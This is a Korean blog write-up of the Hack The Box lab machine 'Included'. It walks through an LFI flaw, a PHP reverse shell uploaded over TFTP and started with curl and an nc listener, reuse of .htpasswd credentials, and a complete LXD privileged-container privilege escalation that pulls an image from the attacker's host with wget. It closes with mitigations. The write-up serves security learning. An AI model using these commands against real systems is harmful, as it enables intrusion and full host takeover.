(Hack The Box) Included Write up
Included Write up
정보수집
Port Scanning
TCP 스캔
TCP 스캔을 통해 80포트가 오픈되어 있는 것이 확인되며, 추가적으로 접근 시 http://10.129.95.185/?file=home.php
으로 리다이렉트 되는 것을 알 수 있습니다.
UDP 스캔
UDP 스캔 결과, 69번 포트로 tftp가 서비스 중인 것으로 확인됩니다.
tftp를 이용하여 파일 업로드가 가능할 것으로 보입니다.
취약점 진단
포트 스캔 결과를 통해 웹서비스와 TFTP서비스가 동작하는 것을 확인하였습니다.
웹페이지 접근하여 웹 취약점이 존재하는 확인 후 TFTP를 활용하는 방법을 찾아봐야겠군요!
WEB 취약점 진단
해당 웹으로 접근 시 아래 페이지로 리다이렉션 된다. file파라미터로 보아 LFI(Local File Inclusion)취약점 발생 가능성이 있어 보이므로, 바로 LFI 취약점 테스트를 합니다.
../../../etc/passwd
등 여러개 경로를 추측하여 테스트한 결과 LFI 취약점이 존재하였습니다.
이를 활용하여 TFTP로 웹쉘을 업로드 하여 쉘을 획득할 수 있을 것 같습니다 :) 행복회로
TFTP를 이용한 파일업로드
TFTP (Trivial File Transfer Protocol)는 단순하고 경량화된 파일 전송 프로토콜입니다.
UDP(사용자 데이터그램 프로토콜) 위에서 작동하며, 기본적으로 포트 69를 사용합니다.
TFTP는 파일 전송을 수행하기 위한 최소한의 기능만 제공하기 때문에 간단한 환경에서 유용하지만, 보안 및 기능성이 제한적입니다.
Port : UDP / 69
파일이 저장되는 기본 경로 : /var/lib/tftpboot/
TFTP 접속을 위해 tftp를 설치 합니다.
sudo apt install tftp
TFTP 설치 후 사용법을 확인 후에 Victim 머신으로 접속해봅니다.
TFTP는 별도의 인증이 없기에 바로 연결이 되는 것을 확인할 수 있습니다.
취약점 공격
Reverse shell payload Upload
리버스쉘이 가능한 php reverse shell payload를 업로드합니다. 리버스쉘은 직접 작성해도되고 revshells.com
을 참고하여 작성하여도 됩니다. 저는 revshells.com
을 이용하였습니다.
revshell.php라는 파일을 만들고 리버스쉘 내용을 입력 후 저장합니다.
TFTP를 이용하여 revshell.php파일을 업로드 합니다. 이때 기본으로 업로드되는 경로는 /var/lib/tftpboot/
입니다.
터미널를 추가로 실행 후 nc -lvnp 4444
로 리버스쉘 연결을 준비합니다.
업로드된 리버스쉘을 실행하기 위해 LFI 취약점을 이용합니다.
curl http://10.129.95.185/?file=/var/lib/tftpboot/revshell.php
curl를 통해 리버스쉘을 실행하면 nc로 리버스쉘이 잘 연결된 것을 확인할 수 있습니다 :)
획득한 쉘은 Dumb Shell로 제한적인 기능만 가능하며 인터렉티브한 작업을 하기 힘듭니다. 그래서 이때 쉘을 업그레이드를 해 주어야 합니다.
Fully Interactive TTY Shell 이라는 쉘로 업그레이하게 되면 SSH로 접속한 것 처럼 작업이 가능합니다.
python을 통해 아래 명령어로 업그레이드가 가능합니다.
python3 -c 'import pty;pty.spawn("/bin/bash")'
현재 권한은 웹서버인 www-data의 권한으로 유저 권한을 획득이 필요합니다.
추가적으로 의심스러운 파일을 확인한 결과 Apache 웹 서버에서 인증에 사용되는 .htpasswd를 확인하였습니다. 파일 내용에 mike라는 유저의 계정이름과 패스워드가 저장되어 있었습니다.
이를 통해 su - mike
사용자 변경 명령어를 사용하여 mike로 접속이 가능했습니다.
권한 상승
mike라는 유저의 권한을 획득 후 권한 상승을 통해 root 권한 획득이 필요합니다.
id
명령어와 /etc/group
파일을 확인해보면 mike라는 유저의 그룹에 특이한 점을 확인할 수 있습니다. lxd라는 그룹의 소속되어 있는 것을 확인할 수 있는데요 . 여기서 lxd가 무엇인지 알아야합니다.
LXD, LXC란?
LXC (Linux Containers), LXD (Linux Container Daemon) 란?
LXC는 리눅스 기반 컨테이너 기술로, 애플리케이션을 격리된 환경에서 실행하기 위해 사용하는 도구
LXD는 LXC를 더 쉽고 강력하게 관리하기 위한 하이퍼바이저 역할을 하는 관리 도구
lxd 그룹에 속해있는 유저는 lxd를 통해 컨테이너를 생성하거나 관리할 수 있는 상호작용이 가능한 권한을 가집니다.
여기서 왜 lxd 그룹권한으로 권한상승이 가능할지 알아보도록 하겠습니다.
LXD를 이용한 Privilege Escalation 요약
- LXD 그룹 권한: LXD 그룹 사용자는 루트에 준하는 권한으로 컨테이너를 생성 및 관리할 수 있습니다.
- 특권 모드 컨테이너: security.privileged=true 설정으로 컨테이너가 호스트 시스템의 리소스에 직접 접근할 수 있습니다.
- 호스트 파일시스템 마운트: 컨테이너 내에서 호스트의 루트 디렉터리를 마운트하여 접근합니다.
- 권한 상승 과정: LXD 그룹 권한으로 특권 모드 컨테이너를 생성하고, 호스트 파일시스템을 마운트한 후 chroot를 통해 호스트 시스템의 루트 권한을 획득합니다.
LXD 그룹의 과도한 권한, 컨테이너와 호스트 간의 불완전한 격리, 잘못된 특권 모드 설정 등이 주요 원인입니다.
Exploit
이를 이용하여 아래 그림과 같이 익스플로잇을 시도해 보겠습니다.
첫번째로 공격자 머신에서 이미지를 빌드하고 빌드한 이미지를 서빙하는 과정입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
# 공격 대상 머신의 OS 아키텍처 확인 (x86_64)
mike@included:~$ uname -m
uname -m
x86_64
# alpine 이미지 빌드
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a x86_64
# 빌드된 이미지 파일 서빙
python3 -m http.server 8000
hacktricks 사이트를 참조하여 진행하였습니다. lxd-alpine-builder 저장소에서 내려받은 후에 공격 대상 머신의 아키텍처인 x86_64로 빌드합니다.
빌드 후 alpine-v3.8-x86_64-20241117_0325.tar.gz
파일을 확인 후 python http server로 서빙합니다.
그리고 공격 대상 머신(10.129.95.185)에서 mike 유저 권한으로 아래 명령어들을 수행합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cd /tmp
# 공격자 머신에서 빌드된 이미지 다운로드
wget http://{공격자 머신 IP}:8000/alpine-v3.8-x86_64-20241117_0325.tar.gz
# 다운로드 한 이미지를 import
lxc image import ./alpine-v3.8-x86_64-20241117_0325.tar.gz --alias test_image
lxc image list # 이미지가 import되었는지 확인
# 특권모드로 컨테이너를 생성
lxc init test_image testcontainer -c security.privileged=true
# 호스트의 /(루트디렉터리)를 컨테이너 내에 /mnt/root/ 디렉터리에 마운트
lxc config device add testcontainer test_device disk source=/ path=/mnt/root recursive=true
# 컨테이너 실행 후 쉘로 접근
lxc start testcontainer
lxc exec testcontainer /bin/sh
# 컨테이너에 내에서 사용자를 확인
id
lxc
명령어를 통해 다운로드한 이미지를 import하여 image list를 확인합니다.
import된 이미지를 통해 특권 모드 컨테이너를 생성합니다. 그리고 호스트의 루트디렉터리를 마운트합니다.
해당 컨테이너에 쉘을 실행하면 컨테이너 내부에서 root 권한을 획득할 수 있습니다.
마운트된 /mnt/root/root
로 이동하여 호스트의 루트 디렉터리로 이동이 가능하며 파일시스템에 엑세스가 가능합니다. 이를 통해 root의 홈디렉터리의 root.txt
라는 플래그를 획득할 수 있었습니다! :)
대응방안
짧게 대응방안을 얘기해보자면 아래와 같습니다.
- LFI 취약점을 조치 →
../
등 Path Traversal이 가능한 문자열을 사용하지 못하도록 필터링이 필요, White List형태로 디렉터리 및 php파일을 허용해야함. - TFTP 비활성화 → TFTP 서비스를 비활성화해야하며, 불가피하게 필요할 경우 방화벽 정책 및 설정 등을 통해 특정 서버에서만 사용할 수 있도록 해야함.(White List)
- Clear Text Credential → 호스트 내부에 하드코딩된 크리덴셜이 존재해서는 안되며, 필요 시 환경변수, 암호화 등이 필요
- lxd 그룹 권한 확인 → 일반 유저가 lxc, lxd를 관리할 수 없도록 그룹관리가 필요
참조
https://www.hackingarticles.in/lxd-privilege-escalation/
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation